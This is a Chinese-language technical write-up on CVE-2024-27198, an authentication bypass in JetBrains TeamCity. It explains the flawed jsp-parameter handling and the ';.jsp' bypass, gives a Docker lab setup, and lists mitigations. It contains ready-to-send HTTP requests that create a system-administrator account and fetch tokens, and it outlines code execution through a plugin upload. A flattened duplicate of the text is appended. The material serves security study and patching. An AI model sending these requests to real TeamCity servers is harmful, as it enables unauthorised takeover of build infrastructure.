CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析
字数 1420 2025-08-18 17:33:34

JetBrains TeamCity 身份验证绕过漏洞 (CVE-2024-27198) 深度分析与利用指南

漏洞概述

CVE-2024-27198 是 JetBrains TeamCity 中的一个高危身份验证绕过漏洞,影响 2023.11.4 之前的所有版本。该漏洞允许未经身份验证的远程攻击者绕过系统身份验证机制,创建管理员账户,从而完全控制 TeamCity 服务器及其所有项目、构建、代理和构件。

受影响版本

  • TeamCity 2023.11.3 及更早版本

漏洞原理

核心漏洞点

漏洞位于 jetbrains.buildServer.controllers.BaseController 类的 handleRequestInternal 方法中,具体涉及以下关键处理流程:

  1. 请求处理流程

    • 请求首先通过 doHandle 方法处理
    • 如果返回的 ModelAndView 不为空且不是重定向视图,则调用 updateViewIfRequestHasJspParameter 方法
  2. 视图更新逻辑

    private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
        boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        String jspFromRequest = this.getJspFromRequest(request);
        if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
            modelAndView.setViewName(jspFromRequest);
        }
    }
    
  3. JSP 参数过滤

    protected String getJspFromRequest(@NotNull HttpServletRequest request) {
        String jspFromRequest = request.getParameter("jsp");
        return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin") ? jspFromRequest : null;
    }
    

绕过机制

攻击者可以通过在 jsp 参数后附加 ;.jsp 来绕过过滤:

  1. 原始请求:/login.html?jsp=/app/rest/server;.jsp
  2. Tomcat 的 stripPathParams 方法会去除 ; 及其后的部分,最终路径变为 /app/rest/server
  3. 系统错误地将视图名称设置为 /app/rest/server,从而绕过身份验证检查

环境搭建

Docker 环境

# 拉取漏洞版本镜像
sudo docker pull jetbrains/teamcity-server:2023.11.3

# 运行容器
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

Docker Compose 方式

version: '3.8'
services:
  teamcity:
    image: jetbrains/teamcity-server:2023.11.3
    container_name: teamcity
    ports:
      - "8111:8111"
      - "5005:5005"  # 调试端口
    user: root

调试环境配置

  1. 提取容器中的 TeamCity 文件:

    docker cp b0:/opt/teamcity ./
    
  2. 修改 catalina.sh 添加调试参数:

    CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
    
  3. 将修改后的文件复制回容器并重启:

    docker cp ./teamcity/bin/catalina.sh b0:/opt/teamcity/bin
    docker restart b0
    

漏洞利用

基本利用步骤

  1. 验证漏洞存在

    GET /login.html?jsp=/app/rest/server;.jsp
    
  2. 创建管理员用户

    POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
    Host: target.com
    Content-Type: application/json
    
    {
        "username": "attacker",
        "password": "P@ssw0rd",
        "email": "attacker@example.com",
        "roles": {
            "role": [{
                "roleId": "SYSTEM_ADMIN",
                "scope": "g"
            }]
        }
    }
    
  3. 获取用户列表

    GET /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
    Host: target.com
    
  4. 获取用户Token

    GET /xxx?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp HTTP/1.1
    Host: target.com
    

远程代码执行 (RCE)

  1. 使用上述方法创建管理员账户
  2. 登录系统
  3. 通过 TeamCity 的插件功能上传恶意插件实现 RCE

修复建议

  1. 立即升级到 TeamCity 2023.11.4 或更高版本
  2. 如果无法立即升级,实施以下缓解措施:
    • 限制对 TeamCity 服务器的网络访问
    • 启用严格的 IP 白名单
    • 监控可疑的管理员账户创建活动

技术细节补充

漏洞触发条件

  1. 请求必须能够到达 BaseController.handleRequestInternal 方法
  2. ModelAndView 必须不为空且不是重定向视图
  3. jsp 参数必须满足:
    • .jsp 结尾
    • 不包含 admin 字符串
    • 与当前视图名称不同

路径处理机制

Tomcat 的 stripPathParams 方法处理流程:

  1. 查找 URI 中的第一个 ; 字符
  2. 如果找到,则截取 ; 之前的部分作为最终路径
  3. 这使得 ;.jsp 后缀被去除,绕过 .jsp 检查

参考链接


本教学文档详细描述了 CVE-2024-27198 的技术细节、环境搭建、漏洞分析和利用方法。请仅将此信息用于合法的安全研究和防御目的。

JetBrains TeamCity 身份验证绕过漏洞 (CVE-2024-27198) 深度分析与利用指南 漏洞概述 CVE-2024-27198 是 JetBrains TeamCity 中的一个高危身份验证绕过漏洞,影响 2023.11.4 之前的所有版本。该漏洞允许未经身份验证的远程攻击者绕过系统身份验证机制,创建管理员账户,从而完全控制 TeamCity 服务器及其所有项目、构建、代理和构件。 受影响版本 TeamCity 2023.11.3 及更早版本 漏洞原理 核心漏洞点 漏洞位于 jetbrains.buildServer.controllers.BaseController 类的 handleRequestInternal 方法中,具体涉及以下关键处理流程: 请求处理流程 : 请求首先通过 doHandle 方法处理 如果返回的 ModelAndView 不为空且不是重定向视图,则调用 updateViewIfRequestHasJspParameter 方法 视图更新逻辑 : JSP 参数过滤 : 绕过机制 攻击者可以通过在 jsp 参数后附加 ;.jsp 来绕过过滤: 原始请求: /login.html?jsp=/app/rest/server;.jsp Tomcat 的 stripPathParams 方法会去除 ; 及其后的部分,最终路径变为 /app/rest/server 系统错误地将视图名称设置为 /app/rest/server ,从而绕过身份验证检查 环境搭建 Docker 环境 Docker Compose 方式 调试环境配置 提取容器中的 TeamCity 文件: 修改 catalina.sh 添加调试参数: 将修改后的文件复制回容器并重启: 漏洞利用 基本利用步骤 验证漏洞存在 : 创建管理员用户 : 获取用户列表 : 获取用户Token : 远程代码执行 (RCE) 使用上述方法创建管理员账户 登录系统 通过 TeamCity 的插件功能上传恶意插件实现 RCE 修复建议 立即升级到 TeamCity 2023.11.4 或更高版本 如果无法立即升级,实施以下缓解措施: 限制对 TeamCity 服务器的网络访问 启用严格的 IP 白名单 监控可疑的管理员账户创建活动 技术细节补充 漏洞触发条件 请求必须能够到达 BaseController.handleRequestInternal 方法 ModelAndView 必须不为空且不是重定向视图 jsp 参数必须满足: 以 .jsp 结尾 不包含 admin 字符串 与当前视图名称不同 路径处理机制 Tomcat 的 stripPathParams 方法处理流程: 查找 URI 中的第一个 ; 字符 如果找到,则截取 ; 之前的部分作为最终路径 这使得 ;.jsp 后缀被去除,绕过 .jsp 检查 参考链接 官方修复公告: JetBrains TeamCity 2023.11.4 Release Notes 漏洞 PoC: W01fh4cker/CVE-2024-27198-RCE 本教学文档详细描述了 CVE-2024-27198 的技术细节、环境搭建、漏洞分析和利用方法。请仅将此信息用于合法的安全研究和防御目的。